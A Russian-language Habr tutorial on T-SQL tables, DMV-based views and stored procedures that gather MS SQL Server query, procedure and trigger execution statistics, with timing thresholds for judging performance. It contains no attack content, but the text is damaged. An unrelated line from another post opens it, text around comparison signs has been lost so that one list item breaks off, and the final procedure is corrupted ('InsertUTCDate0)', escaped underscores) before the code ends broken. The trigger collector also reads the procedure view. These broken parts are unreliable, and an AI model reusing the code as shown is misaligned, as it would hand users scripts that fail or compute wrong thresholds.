Только не спрашивайте, пожалуйста, какой в этом смысл! Это кодобред! А [вот более полезный способ](https://habr.com/ru/post/592261/) работы с серверами. | https://habr.com/ru/post/645239/ | null | ru | null |
# Реализация индикатора производительности запросов, хранимых процедур и триггеров в MS SQL Server. Автотрассировка
### Предисловие
Администратору баз данных рано или поздно захочется иметь индикатор производительности, который бы показывал все ли хорошо с запросами. Также известно, что запуск Профайлера на целые сутки существенно загружает систему, и поэтому не может быть оптимальным решением в базе данных, которая используется 24x7.
Так как же определять состояния запросов? И как запускать трассировку при обнаружении проблем с запросами без участия человека?
В данной статье приведу реализацию индикатора производительности запросов, хранимых процедур и триггеров, а также их использование для запуска трассировки.
### Решение
Сначала общий подход реализации индикатора производительности запросов, хранимых процедур и триггеров:
1) создать необходимые таблицы для сбора и анализа информации
2) создать представления для сбора информации
3) создать хранимые процедуры для сбора информации
4) создать представления для вывода информации
А теперь реализация:
1) создать необходимые таблицы для сбора и анализа информации:
1.1) для запросов:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [srv].[SQL_StatementExecStat](
[ID] [bigint] IDENTITY(1,1) NOT NULL,
[InsertDate] [datetime] NULL,
[QueryHash] [binary](8) NULL,
[ExecutionCount] [bigint] NULL,
[TotalWorkerTime] [bigint] NULL,
[StatementText] [nvarchar](max) NULL,
[TotalElapsedTime] [bigint] NULL,
CONSTRAINT [PK_SQL_StatementExecStat] PRIMARY KEY CLUSTERED
(
[ID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
SET ANSI_PADDING ON
GO
```
1.2) для хранимых процедур:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [srv].[SQL_ProcedureExecStat](
[ID] [bigint] IDENTITY(1,1) NOT NULL,
[InsertDate] [datetime] NULL,
[database_id] [int] NULL,
[object_id] [int] NULL,
[ExecutionCount] [bigint] NULL,
[TotalWorkerTime] [bigint] NULL,
[TotalElapsedTime] [bigint] NULL,
[TotalPhysicalReads] [bigint] NULL,
[TotalLogicalReads] [bigint] NULL,
[TotalLogicalWrites] [bigint] NULL,
CONSTRAINT [PK_SQL_ProcedureExecStat] PRIMARY KEY CLUSTERED
(
[ID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
GO
```
1.3) для триггеров:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [srv].[SQL_TriggerExecStat](
[ID] [bigint] IDENTITY(1,1) NOT NULL,
[InsertDate] [datetime] NULL,
[database_id] [int] NULL,
[object_id] [int] NULL,
[ExecutionCount] [bigint] NULL,
[TotalWorkerTime] [bigint] NULL,
[TotalElapsedTime] [bigint] NULL
) ON [PRIMARY]
GO
```
2) создать представления для сбора информации (здесь также можно вставить фильтры, т е убирать ненужную информацию (например, запросы и процедуры с триггерами репликаций и т д)):
2.1) для запросов:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE view [srv].[vStatementExecInfo] as
with info as (
SELECT
query_stats.query_hash AS QueryHash,
SUM(query_stats.total_worker_time ) /
SUM(query_stats.execution_count) AS AvgCPU_Time,
SUM(query_stats.execution_count ) AS ExecutionCount,
SUM(query_stats.total_worker_time ) AS TotalWorkerTime,
MIN(query_stats.statement_text ) AS StatementText,
MIN(query_stats.min_worker_time ) AS MinWorkerTime,
MAX(query_stats.max_worker_time ) AS MaxWorkerTime,
SUM(query_stats.total_physical_reads) AS TotalPhysicalReads,
MIN(query_stats.min_physical_reads ) AS MinPhysicalReads,
MAX(query_stats.max_physical_reads ) AS MaxPhysicalReads,
SUM(query_stats.total_physical_reads) /
SUM(query_stats.execution_count) AS AvgPhysicalReads,
SUM(query_stats.total_logical_writes) AS TotalLogicalWrites,
MIN(query_stats.min_logical_writes ) AS MinLogicalWrites,
MAX(query_stats.max_logical_writes ) AS MaxLogicalWrites,
SUM(query_stats.total_logical_writes) /
SUM(query_stats.execution_count) AS AvgLogicalWrites,
SUM(query_stats.total_logical_reads ) AS TotalLogicalReads,
MIN(query_stats.min_logical_reads ) AS MinLogicalReads,
MAX(query_stats.max_logical_reads ) AS MaxLogicalReads,
SUM(query_stats.total_logical_reads ) /
SUM(query_stats.execution_count) AS AvgLogicalReads,
SUM(query_stats.total_elapsed_time ) AS TotalElapsedTime,
MIN(query_stats.min_elapsed_time ) AS MinElapsedTime,
MAX(query_stats.max_elapsed_time ) AS MaxElapsedTime,
SUM(query_stats.total_elapsed_time ) /
SUM(query_stats.execution_count) AS AvgElapsedTime,
MIN(query_stats.creation_time ) AS MinCreationTime,
MAX(query_stats.last_execution_time ) AS LastExecuteTime
FROM
(SELECT QS.query_hash
,QS.total_worker_time
,QS.execution_count
,QS.min_worker_time
,QS.max_worker_time
,QS.min_physical_reads
,QS.max_physical_reads
,QS.total_physical_reads
,QS.total_logical_writes
,QS.min_logical_writes
,QS.max_logical_writes
,QS.min_logical_reads
,QS.max_logical_reads
,QS.total_logical_reads
,QS.min_elapsed_time
,QS.max_elapsed_time
,QS.total_elapsed_time
,QS.creation_time
,QS.last_execution_time
,SUBSTRING(ST.text, (QS.statement_start_offset/2) + 1,
((CASE statement_end_offset
WHEN -1 THEN DATALENGTH(ST.text)
ELSE QS.statement_end_offset END
- QS.statement_start_offset)/2) + 1) AS statement_text
FROM sys.dm_exec_query_stats AS QS
CROSS APPLY sys.dm_exec_sql_text(QS.sql_handle) as ST) as query_stats
WHERE execution_count > 1
and last_execution_time >= dateadd(hour,-3,getdate())
GROUP BY query_stats.query_hash)
select
QueryHash,
AvgCPU_Time,
ExecutionCount,
TotalWorkerTime,
StatementText,
MinWorkerTime,
MaxWorkerTime,
TotalPhysicalReads,
MinPhysicalReads,
MaxPhysicalReads,
AvgPhysicalReads,
TotalLogicalWrites,
MinLogicalWrites,
MaxLogicalWrites,
AvgLogicalWrites,
TotalLogicalReads,
MinLogicalReads,
MaxLogicalReads,
AvgLogicalReads,
TotalElapsedTime,
MinElapsedTime,
MaxElapsedTime,
AvgElapsedTime,
MinCreationTime,
LastExecuteTime
from info
GO
```
Здесь используются два системных представления [sys.dm\_exec\_query\_stats](https://msdn.microsoft.com/ru-ru/library/ms189741(v=sql.110).aspx) и [sys.dm\_exec\_sql\_text](https://msdn.microsoft.com/ru-ru/library/ms181929(v=sql.110).aspx)
2.2) для хранимых процедур:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE view [srv].[vProcedureExecInfo] as
with info as (
SELECT
procedure_stats.database_id AS database_id,
procedure_stats.object_id AS object_id,
MIN(procedure_stats.type) AS type,
SUM(procedure_stats.total_worker_time ) /
SUM(procedure_stats.execution_count) AS AvgCPU_Time,
SUM(procedure_stats.execution_count ) AS ExecutionCount,
SUM(procedure_stats.total_worker_time ) AS TotalWorkerTime,
MIN(procedure_stats.ProcedureText ) AS ProcedureText,
MIN(procedure_stats.min_worker_time ) AS MinWorkerTime,
MAX(procedure_stats.max_worker_time ) AS MaxWorkerTime,
SUM(procedure_stats.total_physical_reads) AS TotalPhysicalReads,
MIN(procedure_stats.min_physical_reads ) AS MinPhysicalReads,
MAX(procedure_stats.max_physical_reads ) AS MaxPhysicalReads,
SUM(procedure_stats.total_physical_reads) /
SUM(procedure_stats.execution_count) AS AvgPhysicalReads,
SUM(procedure_stats.total_logical_writes) AS TotalLogicalWrites,
MIN(procedure_stats.min_logical_writes ) AS MinLogicalWrites,
MAX(procedure_stats.max_logical_writes ) AS MaxLogicalWrites,
SUM(procedure_stats.total_logical_writes) /
SUM(procedure_stats.execution_count) AS AvgLogicalWrites,
SUM(procedure_stats.total_logical_reads ) AS TotalLogicalReads,
MIN(procedure_stats.min_logical_reads ) AS MinLogicalReads,
MAX(procedure_stats.max_logical_reads ) AS MaxLogicalReads,
SUM(procedure_stats.total_logical_reads ) /
SUM(procedure_stats.execution_count) AS AvgLogicalReads,
SUM(procedure_stats.total_elapsed_time ) AS TotalElapsedTime,
MIN(procedure_stats.min_elapsed_time ) AS MinElapsedTime,
MAX(procedure_stats.max_elapsed_time ) AS MaxElapsedTime,
SUM(procedure_stats.total_elapsed_time ) /
SUM(procedure_stats.execution_count) AS AvgElapsedTime,
MIN(procedure_stats.cached_time ) AS MinCachedTime,
MAX(procedure_stats.last_execution_time ) AS LastExecuteTime
FROM
(SELECT QS.database_id
,QS.object_id
,QS.type
,QS.total_worker_time
,QS.execution_count
,QS.min_worker_time
,QS.max_worker_time
,QS.min_physical_reads
,QS.max_physical_reads
,QS.total_physical_reads
,QS.total_logical_writes
,QS.min_logical_writes
,QS.max_logical_writes
,QS.min_logical_reads
,QS.max_logical_reads
,QS.total_logical_reads
,QS.min_elapsed_time
,QS.max_elapsed_time
,QS.total_elapsed_time
,QS.cached_time
,QS.last_execution_time
,ST.text as Proceduretext
FROM sys.dm_exec_Procedure_stats AS QS
CROSS APPLY sys.dm_exec_sql_text(QS.sql_handle) as ST) as procedure_stats
WHERE execution_count > 1
and last_execution_time >= dateadd(hour,-3,getdate())
GROUP BY database_id,object_id)
select
database_id,
object_id,
type,
AvgCPU_Time,
ExecutionCount,
TotalWorkerTime,
ProcedureText,
MinWorkerTime,
MaxWorkerTime,
TotalPhysicalReads,
MinPhysicalReads,
MaxPhysicalReads,
AvgPhysicalReads,
TotalLogicalWrites,
MinLogicalWrites,
MaxLogicalWrites,
AvgLogicalWrites,
TotalLogicalReads,
MinLogicalReads,
MaxLogicalReads,
AvgLogicalReads,
TotalElapsedTime,
MinElapsedTime,
MaxElapsedTime,
AvgElapsedTime,
MinCachedTime,
LastExecuteTime
from info
GO
```
Здесь используются два системных представления [sys.dm\_exec\_Procedure\_stats](https://msdn.microsoft.com/ru-ru/library/cc280701(v=sql.110).aspx) и [sys.dm\_exec\_sql\_text](https://msdn.microsoft.com/ru-ru/library/ms181929(v=sql.110).aspx)
2.3) для триггеров:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE view [srv].[vTriggerExecInfo] as
with info as (
SELECT
procedure_stats.database_id AS database_id,
procedure_stats.object_id AS object_id,
MIN(procedure_stats.type) AS type,
SUM(procedure_stats.total_worker_time ) /
SUM(procedure_stats.execution_count) AS AvgCPU_Time,
SUM(procedure_stats.execution_count ) AS ExecutionCount,
SUM(procedure_stats.total_worker_time ) AS TotalWorkerTime,
MIN(procedure_stats.ProcedureText ) AS ProcedureText,
MIN(procedure_stats.min_worker_time ) AS MinWorkerTime,
MAX(procedure_stats.max_worker_time ) AS MaxWorkerTime,
SUM(procedure_stats.total_physical_reads) AS TotalPhysicalReads,
MIN(procedure_stats.min_physical_reads ) AS MinPhysicalReads,
MAX(procedure_stats.max_physical_reads ) AS MaxPhysicalReads,
SUM(procedure_stats.total_physical_reads) /
SUM(procedure_stats.execution_count) AS AvgPhysicalReads,
SUM(procedure_stats.total_logical_writes) AS TotalLogicalWrites,
MIN(procedure_stats.min_logical_writes ) AS MinLogicalWrites,
MAX(procedure_stats.max_logical_writes ) AS MaxLogicalWrites,
SUM(procedure_stats.total_logical_writes) /
SUM(procedure_stats.execution_count) AS AvgLogicalWrites,
SUM(procedure_stats.total_logical_reads ) AS TotalLogicalReads,
MIN(procedure_stats.min_logical_reads ) AS MinLogicalReads,
MAX(procedure_stats.max_logical_reads ) AS MaxLogicalReads,
SUM(procedure_stats.total_logical_reads ) /
SUM(procedure_stats.execution_count) AS AvgLogicalReads,
SUM(procedure_stats.total_elapsed_time ) AS TotalElapsedTime,
MIN(procedure_stats.min_elapsed_time ) AS MinElapsedTime,
MAX(procedure_stats.max_elapsed_time ) AS MaxElapsedTime,
SUM(procedure_stats.total_elapsed_time ) /
SUM(procedure_stats.execution_count) AS AvgElapsedTime,
MIN(procedure_stats.cached_time ) AS MinCachedTime,
MAX(procedure_stats.last_execution_time ) AS LastExecuteTime
FROM
(SELECT QS.database_id
,QS.object_id
,QS.type
,QS.total_worker_time
,QS.execution_count
,QS.min_worker_time
,QS.max_worker_time
,QS.min_physical_reads
,QS.max_physical_reads
,QS.total_physical_reads
,QS.total_logical_writes
,QS.min_logical_writes
,QS.max_logical_writes
,QS.min_logical_reads
,QS.max_logical_reads
,QS.total_logical_reads
,QS.min_elapsed_time
,QS.max_elapsed_time
,QS.total_elapsed_time
,QS.cached_time
,QS.last_execution_time
,ST.text as Proceduretext
FROM sys.dm_exec_trigger_stats AS QS
CROSS APPLY sys.dm_exec_sql_text(QS.sql_handle) as ST) as procedure_stats
WHERE execution_count > 1
and last_execution_time >= dateadd(hour,-3,getdate())
GROUP BY database_id,object_id)
select
database_id,
object_id,
type,
AvgCPU_Time,
ExecutionCount,
TotalWorkerTime,
ProcedureText,
MinWorkerTime,
MaxWorkerTime,
TotalPhysicalReads,
MinPhysicalReads,
MaxPhysicalReads,
AvgPhysicalReads,
TotalLogicalWrites,
MinLogicalWrites,
MaxLogicalWrites,
AvgLogicalWrites,
TotalLogicalReads,
MinLogicalReads,
MaxLogicalReads,
AvgLogicalReads,
TotalElapsedTime,
MinElapsedTime,
MaxElapsedTime,
AvgElapsedTime,
MinCachedTime,
LastExecuteTime
from info
GO
```
Здесь используются два системных представления [sys.dm\_exec\_trigger\_stats](https://msdn.microsoft.com/ru-ru/library/cc280646(v=sql.110).aspx) и [sys.dm\_exec\_sql\_text](https://msdn.microsoft.com/ru-ru/library/ms181929(v=sql.110).aspx)
3) создать хранимые процедуры для сбора информации:
3.1) для запросов:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [srv].[InsertForSQL_StatementExecStat]
@koef decimal(12,2)=0.0 --коэффициент сбора,
--подбирается экспериментальным путем для более точного сбора,
--в большинстве случаев можно оставить 0.0,
--если частота запуска сбора не будет превышать 5 минут
--на точность расчетов влияет частота сбора и коэффициент сбора
--чем чаще запуск сбора, тем меньше влияет коэффициент сбора
AS
BEGIN
SET NOCOUNT ON;
declare @AvgCPU_Time bigint
,@MaxAvgCPU_Time bigint
,@AvgTotalWorkerTime bigint
,@MaxTotalWorkerTime bigint
,@AvgAvgElapsedTime bigint
,@MaxAvgElapsedTime bigint
,@AvgTotalElapsedTime bigint
,@MaxTotalElapsedTime bigint
select
@AvgCPU_Time = AVG(AvgCPU_Time),
@MaxAvgCPU_Time = max(AvgCPU_Time),
@AvgTotalWorkerTime = AVG(TotalWorkerTime),
@MaxTotalWorkerTime = max(TotalWorkerTime),
@AvgAvgElapsedTime = AVG(AvgElapsedTime),
@MaxAvgElapsedTime = max(AvgElapsedTime),
@AvgTotalElapsedTime = AVG(TotalElapsedTime),
@MaxTotalElapsedTime = max(TotalElapsedTime)
from srv.vStatementExecInfo;
insert into srv.SQL_StatementExecStat
(
[InsertDate]
,[QueryHash]
,[ExecutionCount]
,[TotalWorkerTime]
,[StatementText]
,[TotalElapsedTime])
select
getdate()
,[QueryHash]
,[ExecutionCount]
,[TotalWorkerTime]
,[StatementText]
,[TotalElapsedTime]
from srv.vStatementExecInfo
where(AvgCPU_Time > @AvgCPU_Time + @koef * (@MaxAvgCPU_Time - @AvgCPU_Time))
or (TotalWorkerTime > @AvgTotalWorkerTime + @koef * (@MaxTotalWorkerTime - @AvgTotalWorkerTime))
or (AvgElapsedTime > @AvgAvgElapsedTime + @koef * (@MaxAvgElapsedTime - @AvgAvgElapsedTime))
or (TotalElapsedTime > @AvgTotalElapsedTime + @koef * (@MaxTotalElapsedTime - @AvgTotalElapsedTime));
END
GO
```
3.2) для хранимых процедур:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [srv].[InsertForProcedureExecStat]
@koef decimal(12,2)=0.0 --коэффициент сбора,
--подбирается экспериментальным путем для более точного сбора,
--в большинстве случаев можно оставить 0.0,
--если частота запуска сбора не будет превышать 5 минут
--на точность расчетов влияет частота сбора и коэффициент сбора
--чем чаще запуск сбора, тем меньше влияет коэффициент сбора
AS
BEGIN
SET NOCOUNT ON;
declare @AvgCPU_Time bigint
,@MaxAvgCPU_Time bigint
,@AvgTotalWorkerTime bigint
,@MaxTotalWorkerTime bigint
,@AvgAvgElapsedTime bigint
,@MaxAvgElapsedTime bigint
,@AvgTotalElapsedTime bigint
,@MaxTotalElapsedTime bigint;
select
@AvgCPU_Time = AVG(AvgCPU_Time),
@MaxAvgCPU_Time = max(AvgCPU_Time),
@AvgTotalWorkerTime = AVG(TotalWorkerTime),
@MaxTotalWorkerTime = max(TotalWorkerTime),
@AvgAvgElapsedTime = AVG(AvgElapsedTime),
@MaxAvgElapsedTime = max(AvgElapsedTime),
@AvgTotalElapsedTime = AVG(TotalElapsedTime),
@MaxTotalElapsedTime = max(TotalElapsedTime)
from srv.vProcedureExecInfo;
insert into srv.SQL_ProcedureExecStat
(
[InsertDate]
,database_id
,object_id
,[ExecutionCount]
,[TotalWorkerTime]
,[TotalElapsedTime]
,[TotalPhysicalReads]
,[TotalLogicalReads]
,[TotalLogicalWrites])
select
getdate()
,database_id
,object_id
,[ExecutionCount]
,[TotalWorkerTime]
,[TotalElapsedTime]
,[TotalPhysicalReads]
,[TotalLogicalReads]
,[TotalLogicalWrites]
from srv.vProcedureExecInfo
where(AvgCPU_Time > @AvgCPU_Time + @koef * (@MaxAvgCPU_Time - @AvgCPU_Time))
or (TotalWorkerTime > @AvgTotalWorkerTime + @koef * (@MaxTotalWorkerTime - @AvgTotalWorkerTime))
or (AvgElapsedTime > @AvgAvgElapsedTime + @koef * (@MaxAvgElapsedTime - @AvgAvgElapsedTime))
or (TotalElapsedTime > @AvgTotalElapsedTime + @koef * (@MaxTotalElapsedTime - @AvgTotalElapsedTime));
END
GO
```
3.3) для триггеров:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [srv].[InsertForTriggerExecStat]
@koef decimal(12,2)=0.0 --коэффициент сбора,
--подбирается экспериментальным путем для более точного сбора,
--в большинстве случаев можно оставить 0.0,
--если частота запуска сбора не будет превышать 5 минут
--на точность расчетов влияет частота сбора и коэффициент сбора
--чем чаще запуск сбора, тем меньше влияет коэффициент сбора
AS
BEGIN
SET NOCOUNT ON;
declare @AvgCPU_Time bigint
,@MaxAvgCPU_Time bigint
,@AvgTotalWorkerTime bigint
,@MaxTotalWorkerTime bigint
,@AvgAvgElapsedTime bigint
,@MaxAvgElapsedTime bigint
,@AvgTotalElapsedTime bigint
,@MaxTotalElapsedTime bigint
select
@AvgCPU_Time = AVG(AvgCPU_Time),
@MaxAvgCPU_Time = max(AvgCPU_Time),
@AvgTotalWorkerTime = AVG(TotalWorkerTime),
@MaxTotalWorkerTime = max(TotalWorkerTime),
@AvgAvgElapsedTime = AVG(AvgElapsedTime),
@MaxAvgElapsedTime = max(AvgElapsedTime),
@AvgTotalElapsedTime = AVG(TotalElapsedTime),
@MaxTotalElapsedTime = max(TotalElapsedTime)
from srv.vProcedureExecInfo;
insert into srv.SQL_TriggerExecStat
(
[InsertDate]
,database_id
,object_id
,[ExecutionCount]
,[TotalWorkerTime]
,[TotalElapsedTime])
select
getdate()
,database_id
,object_id
,[ExecutionCount]
,[TotalWorkerTime]
,[TotalElapsedTime]
from srv.vTriggerExecInfo
where(AvgCPU_Time > @AvgCPU_Time + @koef * (@MaxAvgCPU_Time - @AvgCPU_Time))
or (TotalWorkerTime > @AvgTotalWorkerTime + @koef * (@MaxTotalWorkerTime - @AvgTotalWorkerTime))
or (AvgElapsedTime > @AvgAvgElapsedTime + @koef * (@MaxAvgElapsedTime - @AvgAvgElapsedTime))
or (TotalElapsedTime > @AvgTotalElapsedTime + @koef * (@MaxTotalElapsedTime - @AvgTotalElapsedTime));
END
GO
```
4) создать представления для вывода информации:
4.1) для запросов:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE VIEW [srv].[vStatementExecTotalInfo]
as
select ExecutionCount as Num
,TotalWorkerTime as TotalWorkerTime
,TotalElapsedTime as TotalElapsedTime
,convert(decimal(8,2),AvgCPU_Time/1000000.) as AvgWorkerSec
,convert(decimal(8,2),AvgElapsedTime/1000000.) as AvgElapsedSec
,...
,QueryHash
,StatementText
from [SRV].[srv].[vStatementExecInfo];
GO
```
4.2) для хранимых процедур:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE VIEW [srv].[vProcedureExecTotalInfo]
as
select ExecutionCount as Num
,TotalWorkerTime as TotalWorkerTime
,TotalElapsedTime as TotalElapsedTime
,convert(decimal(8,2),AvgCPU_Time/1000000.) as AvgWorkerSec
,convert(decimal(8,2),AvgElapsedTime/1000000.) as AvgElapsedSec
,...
,database_id
,object_id
,db_name(database_id) as DB_Name
,OBJECT_SCHEMA_NAME(object_id, database_id) as Schema_Name
,object_name(object_id, database_id) as Procedure_Name
from [SRV].[srv].[vProcedureExecInfo];
GO
```
4.3) Аналогичным образом делаются представления и для триггеров (если это нужно). Но в моей практике отслеживать все время триггеры нет необходимости, т к проблемы с ними отразятся на выполнении хранимых процедур и запросов.
В реализованных представлениях очень важны два показателя:
1) AvgWorkerSec — само время выполнения запроса в секундах
2) AvgElapsedSec — время ожидания или ожидания+AvgWorkerSec
В результатах представлений важным показателем является следующее равенство:
AvgWorkerSec=AvgElapsedSec.
Если это не так, то проблема не в самом запросе и не в плане запроса. Причин может быть много. Приведу лишь те, с которыми сталкивался сам:
1) AvgWorkerSec>AvgElapsedSec — здесь кто-то сильно загружает процессор в момент выполнения запроса (как оказалось запускалось сканирование антивирусного приложения, также может быть всему виной распараллеливание плана)
2) AvgWorkerSec
Если равенство AvgWorkerSec=AvgElapsedSec соблюдено, то долгое время выполнения запроса лежит в самом запросе и в его плане выполнения.
Что является критерием того, что запрос долго выполняется?
На такой вопрос однозначного ответа нет. Смотря что делает запрос, как часто и где используется? И т. д.
У меня сделана следующая оценка для оперативных запросов, хранимых процедур:
1) до 0,5 — для хранимых процедур это хорошо, проблем нет (нет задержек в выполнении)
2) до 0,1 — для запросов это хорошо, проблем нет (нет задержек в выполнении)
3) 0,5 — 1,0 — для хранимых процедур это нехорошо, проблемы есть (нет видимых для пользователя задержек в выполнении, но они есть, проблему нужно решать, но не срочно)
4) 0,1 — 0,5 — для запросов это нехорошо, проблемы есть (нет видимых для пользователя задержек в выполнении, но они есть, проблему нужно решать, но не срочно)
5) более 1,0 — для хранимых процедур это плохо, проблемы есть (очень вероятно, что есть видимые для пользователя задержки в выполнении, проблему нужно решать срочно)
6) более 0,5 — для запросов это плохо, проблемы есть (очень вероятно, что есть видимые для пользователя задержки в выполнении, проблему нужно решать срочно).
Для не оперативных запросов и хранимых процедур (выгрузка, загрузка данных и т. д.) данная оценка подбирается индивидуально и обычно в разы превосходит оценки для оперативных запросов и хранимых процедур.
Если весь софт работает через хранимые процедуры, то можно вообще отслеживать только хранимые процедуры без запросов, т к работа запросов всегда затронет работу хранимых процедур. Поэтому остановимся на анализе выполнения хранимых процедур более детально.
Создадим теперь систему, которая будет собирать информацию о самых тяжелых хранимых процедурах для последующего анализа и запуска автотрассировки, по следующему алгоритму:
1) создадим таблицу, в которой будем хранить информацию:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [srv].[SQL_TopProcedureExecStat](
[Row_GUID] [uniqueidentifier] NOT NULL,
[SERVER] [nvarchar](255) NOT NULL,
[DB_ID] [int] NOT NULL,
[OBJECT_ID] [int] NOT NULL,
[ExecutionCount] [bigint] NOT NULL,
[TotalWorkerTime] [bigint] NULL,
[TotalElapsedTime] [bigint] NULL,
[Func] [decimal](8, 2) NULL,
[AvgWorkerSec] [decimal](8, 2) NULL,
[AvgElapsedSec] [decimal](8, 2) NULL,
[DB_NAME] [nvarchar](255) NULL,
[SCHEMA_NAME] [nvarchar](255) NULL,
[OBJECT_NAME] [nvarchar](255) NULL,
[InsertUTCDate] [datetime] NOT NULL,
[TotalPhysicalReads] [bigint] NULL,
[TotalLogicalReads] [bigint] NULL,
[TotalLogicalWrites] [bigint] NULL,
[AvgPhysicalReads] [bigint] NULL,
[AvgLogicalReads] [bigint] NULL,
[AvgLogicalWrites] [bigint] NULL,
[CategoryName] [nvarchar](255) NULL,
CONSTRAINT [PK_SQL_TopProcedureExecStat] PRIMARY KEY CLUSTERED
(
[Row_GUID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
GO
ALTER TABLE [srv].[SQL_TopProcedureExecStat] ADD CONSTRAINT [DF_SQL_TopProcedureExecStat_Row_GUID] DEFAULT (newid()) FOR [Row_GUID]
GO
ALTER TABLE [srv].[SQL_TopProcedureExecStat] ADD CONSTRAINT [DF_SQL_TopProcedureExecStat_SERVER] DEFAULT (@@servername) FOR [SERVER]
GO
ALTER TABLE [srv].[SQL_TopProcedureExecStat] ADD CONSTRAINT [DF_SQL_TopProcedureExecStat_InsertUTCDate] DEFAULT (getutcdate()) FOR [InsertUTCDate]
GO
```
2) создадим хранимую процедуру для сбора информации:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [srv].[InsertTopProcedureExecStat]
@top tinyint=24 --сколько хранить записи (кол-во строк)
,@CategoryName nvarchar(255)='AvgWorkerSec' --категория, по которой отбираем
AS
BEGIN
SET NOCOUNT ON;
INSERT INTO [srv].[SQL_TopProcedureExecStat]
([DB_ID]
,[OBJECT_ID]
,[ExecutionCount]
,[TotalWorkerTime]
,[TotalElapsedTime]
,[AvgWorkerSec]
,[AvgElapsedSec]
,[DB_NAME]
,[SCHEMA_NAME]
,[OBJECT_NAME]
,InsertUTCDate
,CategoryName
,TotalPhysicalReads
,TotalLogicalReads
,TotalLogicalWrites
,AvgPhysicalReads
,AvgLogicalReads
,AvgLogicalWrites)
select top(@top)
[database_id]
,[object_id]
,[Num]
,[TotalWorkerTime]
,[TotalElapsedTime]
,[AvgWorkerSec]
,[AvgElapsedSec]
,[DB_NAME]
,[SCHEMA_NAME]
,[PROCEDURE_NAME]
,InsertUTCDate
,CategoryName
,TotalPhysicalReads
,TotalLogicalReads
,TotalLogicalWrites
,AvgPhysicalReads
,AvgLogicalReads
,AvgLogicalWrites
from(
select [database_id]
,[object_id]
,[Num]
,[TotalWorkerTime]
,[TotalElapsedTime]
,[AvgWorkerSec]
,[AvgElapsedSec]
,[DB_NAME]
,[SCHEMA_NAME]
,[PROCEDURE_NAME]
,getUTCDate() as InsertUTCDate
,@CategoryName as CategoryName
,TotalPhysicalReads
,TotalLogicalReads
,TotalLogicalWrites
,AvgPhysicalReads
,AvgLogicalReads
,AvgLogicalWrites
FROM [srv].[vProcedureExecTotalInfoHour]
) as t
order by
case @CategoryName
when 'TotalWorkerTime' then TotalWorkerTime
when 'TotalElapsedTime' then TotalElapsedTime
when 'AvgWorkerSec' then AvgWorkerSec
when 'AvgElapsedSec' then AvgElapsedSec
when 'TotalPhysicalReads' then TotalPhysicalReads
when 'TotalLogicalReads' then TotalLogicalReads
when 'TotalLogicalWrites' then TotalLogicalWrites
when 'AvgPhysicalReads' then AvgPhysicalReads
when 'AvgLogicalReads' then AvgLogicalReads
when 'AvgLogicalWrites' then AvgLogicalWrites
end
desc;
declare @count int=(select count(*) from [srv].[SQL_TopProcedureExecStat] where CategoryName=@CategoryName);
declare @diff int=@count-@top;
;with tbl_del as(
select
Row_GUID
from [srv].[SQL_TopProcedureExecStat]
where InsertUTCDate0)
begin
;with tbl\_del as(
select top(@diff)
Row\_GUID
from [srv].[SQL\_TopProcedureExecStat]
where CategoryName=@CategoryName
order by
case @CategoryName
when 'TotalWorkerTime' then TotalWorkerTime
when 'TotalElapsedTime' then TotalElapsedTime
when 'AvgWorkerSec' then AvgWorkerSec
when 'AvgElapsedSec' then AvgElapsedSec
when 'TotalPhysicalReads' then TotalPhysicalReads
when 'TotalLogicalReads' then TotalLogicalReads
when 'TotalLogicalWrites' then TotalLogicalWrites
when 'AvgPhysicalReads' then AvgPhysicalReads
when 'AvgLogicalReads' then AvgLogicalReads
when 'AvgLogicalWrites' then AvgLogicalWrites
end
)
delete from [srv].[SQL\_TopProcedureExecStat]
